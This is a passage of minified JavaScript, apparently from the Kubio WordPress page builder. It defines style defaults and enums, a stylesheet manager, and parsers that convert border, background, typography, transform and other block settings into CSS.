oke:{map:{color:"stroke",linejoin:"strokeLinejoin",linecap:"strokeLinecap",width:"strokeWidth"},default:{width:{value:"",unit:"px"},color:"",linejoin:"initial",linecap:"initial"}},textShadow:{default:{color:"rgba(0,0,0,0.5)",blur:10,x:0,y:0,enabled:!1}},typography:{default:{family:"",textAlign:"",weight:"",size:{value:"",unit:"px"},transform:"",style:"",decoration:"",lineHeight:{value:"",unit:""},letterSpacing:{value:"",unit:"px"},color:"",margin:{top:{value:"",unit:"px"},bottom:{value:"",unit:"px"},left:{value:"",unit:"px"},right:{value:"",unit:"px"}},padding:{top:{value:"",unit:"px"},bottom:{value:"",unit:"px"},left:{value:"",unit:"px"},right:{value:"",unit:"px"}},border:{top:{width:{value:"",unit:"px"},style:"none",color:"",radius:{left:{value:"",unit:"px"},right:{value:"",unit:"px"}}},right:{width:{value:"",unit:"px"},style:"none",color:""},bottom:{width:{value:"",unit:"px"},style:"none",color:"",radius:{left:{value:"",unit:"px"},right:{value:"",unit:"px"}}},left:{width:{value:"",unit:"px"},style:"none",color:""}}},config:{map:{family:"fontFamily",weight:"fontWeight",size:"fontSize",style:"fontStyle",lineHeight:"lineHeight",letterSpacing:"letterSpacing",decoration:"textDecoration",transform:"textTransform",color:"color",textAlign:"textAlign"}}},maxWidth:{default:{value:"",unit:"px"}},frameImage:{default:{style:{descendants:{frameImage:{zIndex:-1,background:{color:"rgba(var(--kubio-color-2),1)"},transform:{translate:[{axis:"x",value:{value:10,unit:"%"}},{axis:"y",value:{value:10,unit:"%"}},{axis:"z"}]},width:{value:100,unit:"%"},height:{value:100,unit:"%"},border:{top:{color:"rgba(var(--kubio-color-2),1)",width:{value:10,unit:"px"}},left:{color:"rgba(var(--kubio-color-2),1)",width:{value:10,unit:"px"}},right:{color:"rgba(var(--kubio-color-2),1)",width:{value:10,unit:"px"}},bottom:{color:"rgba(var(--kubio-color-2),1)",width:{value:10,unit:"px"}}}}}}}}},enums:{verticalAlignValues:{TOP:"start",MIDDLE:"center",BOTTOM:"end"},gapValues:{NONE:0,SMALL:1,MEDIUM:2,LARGE:3,EXTRA_LARGE:4,INHERIT:"inherit",CUSTOM:"custom"},backgroundTypes:{NONE:"none",IMAGE:"image",GRADIENT:"gradient",VIDEO:"video",SLIDESHOW:"slideshow"},shapes:{NONE:"none",CIRCLES:"circles",DEGREE_STRIPES:"10degree-stripes",ROUNDED_SQUARE_BLUE:"rounded-squares-blue",MANY_ROUNDED_SQUARE_BLUE:"many-rounded-squares-blue",TWO_CIRCLES:"two-circles",CIRCLES_TWO:"circles-2",CIRCLES_THREE:"circles-3",CIRCLES_GRADIENT:"circles-gradient",CIRCLES_WHITE_GRADIENT:"circles-white-gradient",WAVES:"waves",WAVES_INVERTED:"waves-inverted",DOTS:"dots",LEFT_TILTED_LINES:"left-tilted-lines",RIGHT_TILTED_LINES:"right-tilted-lines",RIGHT_TILTED_STRIPES:"right-tilted-strips",DOODLE:"doodle",FALLING_STARS:"falling-stars",GRAIN:"grain",POLY1:"poly1",POLY2:"poly2",WAVY_LINES:"wavy-lines"},states:{NORMAL:"normal",HOVER:"hover",FOCUS:"focus",DISABLED:"disabled",ACTIVE:"active",MENU_BUTTON_ACTIVE:"menuButtonActive",CUSTOM_ACTIVE:"customActive",CUSTOM_DISABLED:"customDisabled"}}},M=()=>(0,N.applyFilters)("kubio.style-types",O),I=M(),P=I.medias,B=(0,d.keyBy)(P,"id"),D=(e,t=0,n=0)=>{const o={};return(0,d.isObject)(e)?(Object.keys(e).forEach(((a,r)=>{const s=e[a];(0,d.isObject)(s)?o[a]={$order:n+1e6+1e3*t+r,...D(e[a],t++,n)}:o[a]=s})),o):e};function L(e,t,n){(t=t||{}).plugins=t.plugins||[],t.plugins.push(R());const o=t.local;return t.local=o?m.isObject(o)?o:{}:{space:""},t.cssom&&(t.plugins=[].concat(t.plugins||[],A(t.cssom))),c()(t)(e,n)}class j{constructor(e){const t=e.document||window.document;var n;this._document=t,t&&t.defaultView?this.init(e):null==t||null===(n=t.defaultView)||void 0===n||n.addEventListener("DOMContentLoaded",(()=>{this.init(e)}))}init(e){const t={},n=(0,d.get)(e,"mediasById",{}),o=(0,d.get)(e,"render",!0),a=e.document||window.document;this.cache={},a.body.parentElement.id="kubio";const r=a.querySelector("#dev-css"),s=(0,d.merge)({},e.globalStyles),i=["global","shared","local","dynamic"];this.dirtySheets=[],(e=>{if(e.querySelector("#kubio-global-transition-disabled"))return;const t=e.createElement("style");e.head.appendChild(t),t.id="kubio-global-transition-disabled";const n=[".h-ui-disable-transitions:not(.h-ui-allow-transitions)",".h-ui-disable-transitions *:not(.h-ui-allow-transitions)"].join(","),o=["transition:unset","transition-duration: 0 !important"].join(";");t.textContent=`${n} { ${o} }`})(a),Object.keys(n).forEach((e=>{t[e]={},i.forEach((s=>{const i=n[e].query,l={local:!1};if(o){var u;const t="kubio-style-"+e+"-"+s,n=a.createElement("style");n.setAttribute("id",t),null===(u=a.querySelector(`#${t}`))||void 0===u||u.remove(),r?r.parentNode.insertBefore(n,r):a.head.appendChild(n),l.cssom={id:t,append:!0,document:a,beforePatch:()=>{this.toggleTransition(!1)},afterPatch:()=>{this.toggleTransition(!0)}}}const c=L({},l);i&&o&&(a.isSameNode(top.document)||c.cssdom.setAttribute("media",i.replace("@media ",""))),t[e][s]=c}))})),t.desktop.global.update(s),this.sheets=t,this.rulesBySharedRef=new Map,this.rulesByLocalId=new Map,this.globalRulesById=new Map,this.dynamicRulesBySharedRef=new Map,this.mediasById=n;const l=this.updateRules.bind(this);let u=null;this.updateRules=(e={})=>{clearTimeout(u),e.callback&&e.callback(),u=setTimeout((()=>{l((0,d.omit)(e,"callback")),this.updateRules=l}),300)}}get document(){return this._document}get sheets(){return this._sheets}set sheets(e){this._sheets=e}editorIsInTopFrame(){return this.document.isSameNode(top.document)}setActiveMedia(e){var t;const n=null!==(t=this.activeMedia)&&void 0!==t?t:"desktop";this.activeMedia=e,n&&n!==e&&this.forceUpdate(),Object.keys(this.sheets).forEach((t=>{"desktop"!==t&&Object.keys(this.sheets[t]).forEach((n=>{let o=!1;this.editorIsInTopFrame()&&(o=t!==e),this.sheets[t][n].toggleDisable(o)}))}))}toggleTransition(e=!0){const t=this.document.querySelector("body");if(!t)return;var n,o;e||null==t||null===(n=t.classList)||void 0===n||null===(o=n.add)||void 0===o||o.call(n,"h-ui-disable-transitions"),this.enableTransitionDebounced||(this.enableTransitionDebounced=(0,d.debounce)((()=>{var e,n;null==t||null===(e=t.classList)||void 0===e||null===(n=e.remove)||void 0===n||n.call(e,"h-ui-disable-transitions")}),2e3));const a=this.document.defaultView;(a.requestIdleCallback?a.requestIdleCallback:e=>e)((()=>{this.enableTransitionDebounced.cancel(),this.enableTransitionDebounced()}))}forceUpdate(e={}){this.dirtySheets=["global","shared","local","dynamic"],this.hasPendingChanges=!0,this.updateRules({...e,forced:!0})}updateSharedRules(e,t){(0,d.isUndefined)(e)||f()(this.rulesBySharedRef.get(e),t)||(this.rulesBySharedRef.set(e,t),this.hasPendingChanges=!0,this.dirtySheets.push("shared"))}updateLocalRules(e,t){(0,d.isUndefined)(e)||f()(this.rulesByLocalId.get(e),t)||(this.rulesByLocalId.set(e,t),this.hasPendingChanges=!0,this.dirtySheets.push("local"))}updateDynamicRules(e,t){(0,d.isUndefined)(e)||f()(this.dynamicRulesBySharedRef.get(e),t)||(this.dynamicRulesBySharedRef.set(e,t),this.hasPendingChanges=!0,this.dirtySheets.push("dynamic"),"global"===e&&this.dirtySheets.push("global"))}updateGlobalRules(e,t){f()(this.globalRulesById.get(e),t)||(this.globalRulesById.set(e,t),this.hasPendingChanges=!0,this.dirtySheets.push("global"))}mapRules(e,t,n){let o=[...e.keys(e)];if("shared"===n||"dynamic"===n){const e=(e=>{const{getClientIdsWithDescendants:t,getBlock:n}=(0,l.select)("core/block-editor"),o=t().map((e=>{var t;return null===(t=n(e).attributes.kubio)||void 0===t?void 0:t.styleRef})).filter(Boolean),a=[...e.querySelectorAll("[data-kubio-style-ref]")].map((e=>e.getAttribute("data-kubio-style-ref")));return[...new Set([...o,...a])]})(this.document);o=[...new Set([...e,...o])]}const a={};return o.forEach(((n,o)=>{var r;const s=null===(r=e.get(n))||void 0===r?void 0:r[t];(0,d.isEmpty)(s)||Object.keys(s).forEach((e=>{if(a[e]=a[e]||{},(0,d.isEmpty)(s[e]))return;const t=D(s[e],o);Object.keys(t).forEach((n=>{const o=t[n];(0,d.isObject)(o)||(0,d.isArray)(o)?a[e][n]=(0,d.merge)(a[e][n]||{},o):a[e][n]=o}))}))})),a}updateRules({callback:e=d.noop,forced:t=!1,callbackTimeout:n=100,forAllMedias:o=!1}={}){if(!t&&!1===this.hasPendingChanges)return void(null==e||e(this.document));if(!this.document.defaultView)return null==e||e(this.document),void F(this.document);const a={shared:this.rulesBySharedRef,local:this.rulesByLocalId,dynamic:this.dynamicRulesBySharedRef,global:this.globalRulesById},r=(0,d.uniq)(this.dirtySheets);this.dirtySheets=[];const s=top.isKubioBlockEditor?[this.activeMedia||"desktop"]:[this.activeMedia,"desktop"];for(const e in this.mediasById)(o||s.includes(e))&&this.updateRulesForMedia(e,a,r,t);this.hasPendingChanges=!1,n?setTimeout((()=>null==e?void 0:e(this.document)),n):null==e||e(this.document)}updateRulesForMedia(e,t,n,o){for(const a in t){if(!o&&!n.includes(a))continue;const r=t[a],s=this.mapRules(r,e,a);this.sheets[e][a].update({}),this.sheets[e][a].update(s),this.sheets[e][a].renderStyle()}}}const z=new Map,G=(e,t=!0)=>{let n;if(e=e||window.document,z.has(e))n=z.get(e);else{if(n=(o={medias:P,mediasById:B,document:e}).document&&!o.document.defaultView?null:new j(o),!n)return null;z.set(e,n);const a=z.get(top.document);t&&a&&(Object.keys(a).forEach((e=>{e.startsWith("_")||"cache"===e||"hasPendingChanges"===e||(0,d.isFunction)(a[e])||(n[e]=window.structuredClone(a[e]))})),n.forceUpdate({forAllMedias:!0,forced:!0}))}var o;return n},H=()=>{z.clear()},F=e=>{z.delete(e)},V=(e=d.noop)=>{let t=0;const n=()=>{t++,[...z.keys()].length<=t&&e()};z.forEach((e=>e.forceUpdate({callback:n,callbackTimeout:0,skipLoadCheck:!0})))},U=I.states,$=(0,d.keyBy)(U,"id"),W=I.enums.states,q={LEFT:"start",CENTER:"center",RIGHT:"end"},K=function(e,t){Object.keys(e||{}).sort((e=>"default"===e?-1:1)).forEach((n=>{const o=e[n]||{};Object.keys(o).sort((e=>"desktop"===e?-1:1)).forEach((e=>{const a=o[e]||{},r=[];U.forEach((({id:e})=>{p().has(a,e)&&r.push(e)})),r.forEach((o=>{t({component:n,media:e,state:o,style:a[o]})}))}))}))},Y=()=>{const e={};return Object.keys(B).forEach((t=>{e[t]=(()=>{const e={};return Object.keys($).forEach((t=>{e[t]={}})),e})()})),e},X=function(e,t,n,o={}){const a=p().get(e,t,o),r=p().clone(e);return p().unset(r,t),p().set(a,n,r),a},J=function(e){return X(e,"media","desktop")},Q=function(e){return J(e)},Z=function(e){const t=window.structuredClone(e);return p().unset(t,"desktop"),{media:{...t},...e.desktop}},ee=function(e,{comply:t,allowedComponents:n=!1,skipEmpty:o=!1,skipClone:a=!1}={}){a||(e=window.structuredClone(e)),t&&(e=t(e));let r=function(e){return X(e,"descendants","default")}(e);n&&(r=p().pick(r,n));const s={};return Object.keys(r).forEach((e=>{const t=r[e],n=o?{}:Y(),a=function(e){return X(e,"states","normal")}(t);Object.keys(a).forEach((e=>{const t=J(a[e]);Object.keys(t).forEach((o=>{p().set(n,o+"."+e,t[o])}))})),s[e]=n})),s},te=function(e){const t={};return K(e,(({component:e,media:n,state:o,style:a})=>{let r=[e,"states",o,"media",n];"desktop"===n?r="normal"===o?[e]:[e,"states",o]:"normal"===o&&(r=[e,"media",n]);const s=p().get(t,r);p().set(t,r,p().merge({},s,a))})),{...t.default,descendants:{...p().omit(t,"default")}}};function ne(e){return""!==e&&null!=e&&!1!==e}const oe=e=>!m.find(e,(e=>!ne(e))),ae=(e,t=" ")=>m.filter(e,ne).join(t),re=function(e,t=!1){return m.isObject(e)?m.has(e,["value"])||m.has(e,["unit"])?ue(e,"","",t):void 0:e},se=(e,t,n,o=[])=>(m.each(n,((n,a)=>{if(ne(t[a])){const r=o.includes(a),s=re(t[a],r);ne(s)&&(e[n]=s)}})),e),ie=(e,t,n)=>{const o=ue(n);return o&&(e[t]=o),e},le=(e,t,n="",o="",a=!1)=>{const r=ue(t,null,o,a);return r?`${e}(${r})`:n},ue=(e,t="",n="",o=!1,a=!1)=>{if(!ne(e))return t;if(m.isString(e))return e&&n?`${e}${n}`:e;const r=e.value,s=e.important,i=e.unit||(o?"":n),l=s?" !important":"";if(ne(r)&&(n||ne(i)||o))return`${r}${i}${l}`;if(a){let e="";return ne(r)&&(e=r),ne(i)&&(e+=i),e+=l,e}return t},ce=(e,t="",n="")=>(e=e.trim(),{value:parseFloat(e)||t,unit:e.replace(parseFloat(e),"")||n}),de=({groupName:e,cssName:t=null,default:n})=>{const o=m.merge({value:"",unit:"px",important:!1},n);return t||(t=m.kebabCase(e)),{name:e,parser:e=>{const n=m.merge({},o,e);return ie({},t,n)},default:n}},pe=({groupName:e,toStyle:t,props:n,default:o={}})=>(n&&(o=m.mapValues(n,"default")),{name:e,parser:(e,n={})=>{if(!p().isObject(e))return t({},e,n);const a=m.merge({},o,e);return t({},a,n)},default:o}),he=(e,t={},n)=>(m.each(n,((n,o)=>{ie(t,e+"-"+o,n)})),t),fe=e=>{const t={};return m.each(["top","bottom","left","right"],(n=>{t[n]=e})),t},me=(e,t=!1)=>Object.entries(e).map((([e,n])=>(t&&(n=!n),n?`kubio-hide-on-${e}`:""))).filter(Boolean),ge=I.props.border.default,ye={name:"border",parser(e){const t={};for(const e in ge)m.unset(ge,[e,"style"]);const n=m.merge({},ge,e),o=I.props.border.radiusMap;for(const e in o){const a=m.get(n,o[e],null);m.unset(n,o[e]),null!==a&&ie(t,e,a)}for(const e in n){const o=n[e],a=parseInt(m.get(o,"width.value",null));let r=["color","width","style"];isNaN(a)&&(r=["color"]);for(const n of r)o[n]&&ie(t,"border-"+e+"-"+n,o[n])}return t},default:ge},be=fe(I.definitions.unitValuePx.default),ve=pe({groupName:"margin",toStyle:(e,t)=>he("margin",e,t),default:be}),Se=fe(I.definitions.unitValuePx.default),xe=pe({groupName:"padding",toStyle:(e,t)=>he("padding",e,t),default:Se}),Ee=window.kubio.utils,we=p().merge([],I.props.background.image.default,[{source:{url:(0,Ee.defaultAssetURL)("/background-image-1.jpg")}}]);class ke{constructor(e){this.value=e}getBackgroundImage(e){switch(e.type){case"image":return'url("'+e.url+'")';case"gradient":return e.gradient}return""}computeCustomSizeStyle(e={},t){const n=ue(null==t?void 0:t.x,"auto"),o=ue(null==t?void 0:t.y,"auto");e.backgroundSize=`${n} ${o}`}toStyle(){const e={};if(e.backgroundImage=this.getBackgroundImage(this.value.source),e.backgroundAttachment=this.value.attachment,"gradient"===this.value.source.type)return e;ne(this.value.size)&&("custom"===this.value.size?this.computeCustomSizeStyle(e,this.value.sizeCustom):e.backgroundSize=this.value.size);let t=this.value.position;return m.isString(t)||(t=`${this.value.position.x}% ${this.value.position.y}%`),e.backgroundPosition=t,e.backgroundRepeat=this.value.repeat,e}}const _e=I.enums.shapes,Ae=I.props.background.overlay.default,Te=(e={},t,{}={})=>(t.value===_e.NONE||(t.isTile?(e.backgroundPosition="top left",e.backgroundRepeat="repeat"):(e.backgroundPosition="center center",e.backgroundSize="cover",e.backgroundRepeat="no-repeat"),e.filter=`invert(${t.light}%)`),e),Ce=p().merge({},I.props.background.slideshow.default,{slides:[{id:1,url:(0,Ee.defaultAssetURL)("background-image-1.jpg")},{id:2,url:(0,Ee.defaultAssetURL)("background-image-2.jpg")},{id:3,url:(0,Ee.defaultAssetURL)("background-image-3.jpg")}]}),Re=p().merge({},I.props.background.video.default,{internal:{url:"https://static-assets.kubiobuilder.com/defaults/demo-video.mp4",mime:"video/mp4"},poster:{url:"https://static-assets.kubiobuilder.com/defaults/demo-video-cover.jpg"}}),Ne=I.enums.backgroundTypes,Oe={...I.props.background.default,image:we,video:Re,overlay:Ae,slideshow:Ce},Me={name:"background",parser(e,{node:t}={}){const n=m.mergeWith({},{...Oe,type:""},e,((e,t)=>{if(m.isArray(e)&&m.isArray(t)&&!m.get(e,"[0].attachment")&&t.length)return t}));let o={},a=!1;switch(n.color&&(o.backgroundColor=n.color,a=!0),a||n.type===Ne.GRADIENT||(a=!0),n.type){case Ne.IMAGE:case Ne.GRADIENT:{const e=m.merge({source:{type:n.type}},n.image[0]);o=m.merge(o,new ke(e).toStyle())}break;case Ne.NONE:o=m.merge(o,(e=>{const t={};return e||(t.backgroundColor="unset"),t.backgroundImage="none",t})(a))}return o},default:Oe},Ie=I.props.typography.default,Pe=I.props.typography.config.map,Be=function(e,t,n=!0){const o={...null==t?void 0:t.transform(p().pick(e,["border","background","boxShadow"]),void 0,!0)},{family:a,weight:r}=e;return a&&n&&(0,N.doAction)("kubio.google-fonts.load",[{family:a,variants:[r]}]),se(o,e,Pe,["lineHeight"]),o},De=e=>{switch(e){case"p":return"p";case"lead":return".h-lead";case"blockquote":return"blockquote p";default:return e}},Le=(e,t,n)=>{const{isGlobalStyle:o}=p().merge({},{isGlobalStyle:!1},n);e=p().cloneDeep(e);const a=m.omit(e,["states"]),r={};for(const n in a){if("input"===n)continue;const s=a[n],i={normal:m.omit(s,["states"]),...s.states};for(const a in i){if("visited"===a)continue;const s=i[a],l=m.merge({},Ie,s),u=$[a].selector;let c=De(n);const p=c;"a"===c&&o&&(c="a:not([class*=wp-block-button])");let h=[];const f=".wp-element-button:not([class*=wp-block-button])";h=o?["p"===c&&"[data-kubio]","p"===c&&".with-kubio-global-style",`& [data-kubio] ${c}`,`& .with-kubio-global-style ${c}`,`& ${c}[data-kubio]`,"a"===p&&`& [data-kubio] ${f}`]:["p"===c&&"@body &","p"===c&&"@body & [data-kubio]:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6)",`@body & ${c}`,`@body & ${c}[data-kubio]`,"a"===p&&`@body & ${f}`],h=(0,d.uniq)(h).filter(Boolean).map((e=>e.trim())),m.set(r,[h.join(","),`&${u}`],Be(l,t)),m.unset(e,n)}}return r},je={defaultValue:Ie,getTypographyCss:Be,parseHolders:Le},ze=pe({groupName:"typography",toStyle:(e,t,{parser:n,options:o}={})=>{var a;const r=m.get(t,"holders",{}),s=Le(r,n,{isGlobalStyle:(null==o||null===(a=o.model)||void 0===a?void 0:a.globalStyle)||!1});let i={};m.has(r,"p")&&(i=p().cloneDeep(r.p),m.has(i,"margin")&&delete i.margin);const l=m.merge({},Ie,m.omit(t,"holders")),u=Be(l);return m.merge(u,s)},default:{}}),Ge=I.props.boxShadow.default,He=pe({groupName:"boxShadow",toStyle:function(e,t){const n=t.layers[0];return t.enabled?(oe(m.omit(t,"inset"))&&(e.boxShadow=`${n.x}px ${n.y}px ${n.blur}px ${n.spread}px ${n.color} ${n.inset}`),e):{boxShadow:"none"}},default:Ge}),Fe=I.props.transform.default,Ve=(e,t,n)=>{let o="";if("custom"===m.get(e,t)){const t=m.get(e,`${n}`);o=ue(t)}else o=m.get(e,t);return o},Ue=function(e,{key:t,defaultUnit:n="",isUnitLess:o=!1}={}){let a=[];return e.length&&e.forEach((e=>{var r;a=a.concat(((e,t,n="",o=!1)=>{let a=[];a=Array.isArray(t)?t:[t];const r=[];return a.forEach((t=>{const a=le(e,t,null,n,o);r.push(a)})),r})(t+(null===(r=e.axis)||void 0===r?void 0:r.toUpperCase()),null==e?void 0:e.value,n,o))})),a},$e=pe({groupName:"transform",toStyle:(e={},t)=>{if(!0===t.none)return{transform:"none"};const{origin:n,translate:o,scale:a,rotate:r,rotate2d:s,skew:i,perspective:l}=t,u=(e=>null!=e&&e.value&&null!=e&&e.unit?`perspective(${null==e?void 0:e.value}${null==e?void 0:e.unit})`:"")(l),c=Ue(o,{key:"translate",defaultUnit:"px"}),d=((e={})=>Ue(e,{key:"scale",isUnitLess:!0}))(a),p=((e={})=>Ue(e,{key:"rotate",defaultUnit:"deg"}))(r),h=((e={})=>Ue(e,{key:"skew",defaultUnit:"deg"}))(i);if(e.transform=ae(m.concat(u,c,d,p,h)),ne(e.transform)){const{x:t,y:o,z:a}={x:Ve(f=n,"x.value","x.customValue"),y:Ve(f,"y.value","y.customValue"),z:Ve(f,"z.value","z.customValue")};e.transformOrigin=ae([t,o,a])}var f;return e},default:Fe});function We(e,t){return le(e,t)}const qe=pe({groupName:"frameOptions",toStyle:({enabledFrameOption:e,type:t,offsetLeft:n,offsetTop:o,color:a,showFrameShadow:r,thickness:s,showFrameOverImage:i,width:l,height:u}={})=>{if(!e)return{};const c={};"border"===t?(c.backgroundColor="transparent",c.borderStyle="solid",c.borderWidth=ue(s),c.borderColor=a):c.backgroundColor=a,r&&(c.boxShadow="0 2px 4px -1px rgba(0,0,0,.2), 0 4px 5px 0 rgba(0,0,0,.14), 0 1px 10px 0 rgba(0,0,0,.12)");const d=We("translateX",n),p=We("translateY",o);return(ne(d)||ne(p))&&(c.transform=`${d} ${p}`),c.zIndex=i?1:-1,ie(c,"width",l),ie(c,"height",u),c},default:{type:"border",color:"#000000",offsetTop:{value:"15",unit:"%"},offsetLeft:{value:"5",unit:"%"},width:{value:"100",unit:"%"},height:{value:"100",unit:"%"},thickness:{value:"10",unit:"px"},enabledFrameOption:!1,showFrameOverImage:!1,showFrameShadow:!1}}),Ke=I.props.textShadow.default,Ye=pe({groupName:"textShadow",toStyle:function(e,t){if(!t.enabled)return e;const n=t;return ne(n.x)&&ne(n.y)&&ne(n.blur)&&ne(n.color)&&(e.textShadow=`${n.x}px ${n.y}px ${n.blur}px\n ${n.color}`),e},default:Ke}),Xe={unit:"s"},Je={duration:Xe,delay:Xe},Qe={name:"animation",parser:e=>((e={},{duration:t,delay:n}={})=>(ie(e,"animationDuration",t),ie(e,"animationDelay",n),e))({},(0,d.merge)({},Je,e)),default:Je},Ze=I.props.stroke.default,et=pe({groupName:"stroke",toStyle:(e,t)=>(se(e,t,I.props.stroke.map),e),default:Ze}),tt=pe({groupName:"transition",toStyle:(e={},{duration:t,delay:n})=>(ie(e,"transitionDuration",t),ie(e,"transitionDelay",n),e),default:{duration:{value:"",unit:"s"},delay:{value:"",unit:"s"}}}),nt=pe({groupName:"opacity",toStyle:(e={},t)=>(ne(t.value)&&(e.opacity=`${t.value}`),e),default:{value:"",unit:"%"}}),ot={unit:"%"},at={unit:"px"},rt={left:ot,right:ot,top:ot,bottom:ot,width:at,height:at,maxWidth:at,maxHeight:at,opacity:{unit:""}},st={};["width","height","maxHeight","minHeight","opacity","left","right","top","bottom","fontSize","size","gap"].forEach((e=>{const t=m.get(rt,e);st[e]=de({groupName:e,default:t})}));const it=st,{minHeight:lt}=it,ut=I.props.customHeight.enums.types,ct=I.props.customHeight.default,dt=function(e){const t={};return e===ut.FIT_TO_CONTENT&&(t.height="auto",t["min-height"]="unset"),t},pt=(e={},t)=>{switch(t.type){case ut.MIN_HEIGHT:e=lt.parser(t[ut.MIN_HEIGHT]);break;case ut.FULL_SCREEN:e=lt.parser({value:100,unit:"vh"});break;case ut.FIT_TO_CONTENT:e=dt(t.type)}return e},ht=pe({groupName:"customHeight",toStyle:pt,default:ct}),ft={name:"object",parser(e){const t={};return ne(e.position)&&(t.objectPosition=e.position),ne(e.fit)&&(t.objectFit=e.fit),t}},mt=pe({groupName:"maxWidth",toStyle:(e={},t)=>{const n=ue(t);return n?(e["max-width"]=n,e):e},default:{unit:"px",value:"",useMinFunction:!0}}),gt=I.props.columnWidth,yt=gt.enums.types,bt=pe({groupName:"columnWidth",toStyle:(e={},t,{options:n={}}={})=>{const{htmlSupport:o=!0}=n,a=gt.enums.typeToStyle[t.type];switch(e=m.merge({},e,a),t.type){case yt.CUSTOM:return ie(e,"width",t[yt.CUSTOM]);case yt.FLEX_GROW:case yt.FIT_TO_CONTENT:return a}return{}},default:gt.default}),vt=bt,St={value:"",unit:"px"},xt=pe({groupName:"size",toStyle:function(e={},t){const n=m.merge({},St,t);if(ne(n.value)&&ne(n.unit)){const t=`${n.value}${n.unit}`;e.width=t,e.minWidth=t,e.height=t,e.minHeight=t}return e},default:St}),Et=pe({groupName:"multipleImage",toStyle:(e={},{angle:t,widthPercentage:n,topPercentage:o,leftPercentage:a,zIndex:r}={})=>(e.transform=`rotate(${t}deg)`,e.width=`${n}%`,e.top=`${o}%`,e.left=`${a}%`,e.zIndex=`${r}`,e.position="absolute",e.height="auto",e),default:{angle:0,widthPercentage:20,topPercentage:0,leftPercentage:0,zIndex:0}}),wt={value:"",unit:"px"},kt=pe({groupName:"gap",toStyle:function(e={},t){const n=m.merge({},wt,t);if(ne(n.value)&&ne(n.unit)){const t=`${n.value}${n.unit}`;e.gap=t,e["--kubio-gap-fallback"]=t}return e},default:wt}),_t=pe({groupName:"justifyContent",toStyle:function(e={},t){return"right"===t&&(t="flex-end"),"left"===t&&(t="flex-start"),{justifyContent:t}},default:""}),At={...it,object:ft,border:ye,margin:ve,padding:xe,background:Me,typography:ze,boxShadow:He,transform:$e,frameOptions:qe,textShadow:Ye,animation:Qe,stroke:et,transition:tt,opacity:nt,customHeight:ht,columnWidth:vt,size:xt,maxWidth:mt,multipleImage:Et,gap:kt,justifyContent:_t};function Tt(e){return Tt="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},Tt(e)}function Ct(e,t,n){return(t=function(e){var t=function(e,t){if("object"!=Tt(e)||!e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var o=n.call(e,"string");if("object"!=Tt(o))return o;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(e)}(e);return"symbol"==Tt(t)?t:t+""}(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}const Rt={...I.constants.support};class Nt{static normalizeData({mainAttribute:e={},styledElements:t,statesByComponent:n,styledElementsByName:o,styledElementsEnum:a,clientId:r}){const{style:s={},_style:i={},props:l={},_props:u={}}=e;return{model:{style:{local:i,shared:s},props:{local:u,shared:l},id:e.id,styleRef:e.styleRef,clientId:r},styledElements:t,styledComponents:t,statesByComponent:n,styledElementsEnum:a,styledElementsByName:o}}static normalizeBlockData(e,t){const n=m.get(e,["attributes",Rt.mainAttributeKey]),o=m.get(t,`supports.${Rt.mainAttributeKey}.${Rt.elementsKey}`,[]),a=m.get(t,`supports.${Rt.mainAttributeKey}.${Rt.elementsEnum}`,[]),r=m.map(o,((e,t)=>({...e,name:t})));m.each(a,(e=>{o[e]||(o[e]={})}));const s={};r.forEach((e=>{s[e.name]=m.get(e,`supports.${Rt.statesKey}`,[])}));const i=m.get(e,["clientId"],!1);return Nt.normalizeData({mainAttribute:n,styledElements:r,statesByComponent:s,styledElementsByName:o,styledElementsEnum:a,clientId:i})}static walkStyle(e,t){Object.keys(e||{}).sort((e=>"default"===e?-1:1)).forEach((n=>{const o=e[n]||{};Object.keys(o).sort((e=>"desktop"===e?-1:1)).forEach((e=>{const a=o[e]||{},r=[];U.forEach((({id:e})=>{m.has(a,e)&&r.push(e)})),r.forEach((o=>{t({component:n,media:e,state:o,style:a[o]})}))}))}))}static normalizedStates(){const e={};return Object.keys($).forEach((t=>{e[t]={}})),e}static normalizedDefault(){const e={};return Object.keys(B).forEach((t=>{e[t]=Nt.normalizedStates()})),e}static extractProperty(e,t,n,o={}){const a=m.get(e,t,o),r=m.clone(e);return m.unset(r,t),m.set(a,n,r),a}static getComponents(e){return Nt.extractProperty(e,"descendants","default")}static getStates(e){return Nt.extractProperty(e,"states","normal")}static getMedias(e){return Nt.extractProperty(e,"media","desktop")}static normalizeProps(e){return Nt.getMedias(e)}static denormalizeProps(e){const t=window.structuredClone(e);return m.unset(t,"desktop"),{media:{...t},...e.desktop}}static normalizeStyle(e,t){const n=m.merge({comply:!1,allowedComponents:!1,skipEmpty:!1,skipClone:!1},t);n.skipClone||(e=window.structuredClone(e)),n.comply&&(e=n.comply(e));let o=Nt.getComponents(e);n.allowedComponents&&(o=m.pick(o,n.allowedComponents));const a={};return Object.keys(o).forEach((e=>{const t=o[e],r=n.skipEmpty?{}:Nt.normalizedDefault(),s=Nt.getStates(t);Object.keys(s).forEach((e=>{const t=Nt.getMedias(s[e]);Object.keys(t).forEach((n=>{m.set(r,n+"."+e,t[n])}))})),a[e]=r})),a}static denormalizeComponents(e){const t={};return Nt.walkStyle(e,(({component:e,media:n,state:o,style:a})=>{let r=[e,"states",o,"media",n];"desktop"===n?r="normal"===o?[e]:[e,"states",o]:"normal"===o&&(r=[e,"media",n]);const s=m.get(t,r);m.set(t,r,m.merge({},s,a))})),m.merge({},t.default,{descendants:m.omit(t,"default")})}static composeClassForMedia(e,t,n,o=!1){if(!o&&m.isString(t)&&0===t.length)return;const a=m.get(B[e],"gridPrefix",!1);return m.compactWithExceptions([n,a,t],[0,"0"]).join("-")}static composeClassesByMedia(e,t,n=!1){const o=[];return m.each(e,((e,a)=>{o.push(Nt.composeClassForMedia(a,e,t,n))})),o}}class Ot{static getInstance(){return Ot.instance||(Ot.instance=new Ot),Ot.instance}constructor(){this.groups={};for(const e in At){const t=At[e];this.addGroup(t.name,t.parser)}}evaluateString(e){return e}addGroup(e,t){this.groups[e]=(e,n)=>t(e,{parser:this,options:n})}evaluate(e){return m.isString(e)?this.evaluateString(e):(m.each(e,((t,n)=>{e[n]=this.evaluate(t)})),e)}transform(e,t,n=!1){if(!e)return;let o={};e=this.filterProps(e);for(const a in e)if(this.groups[a]){let 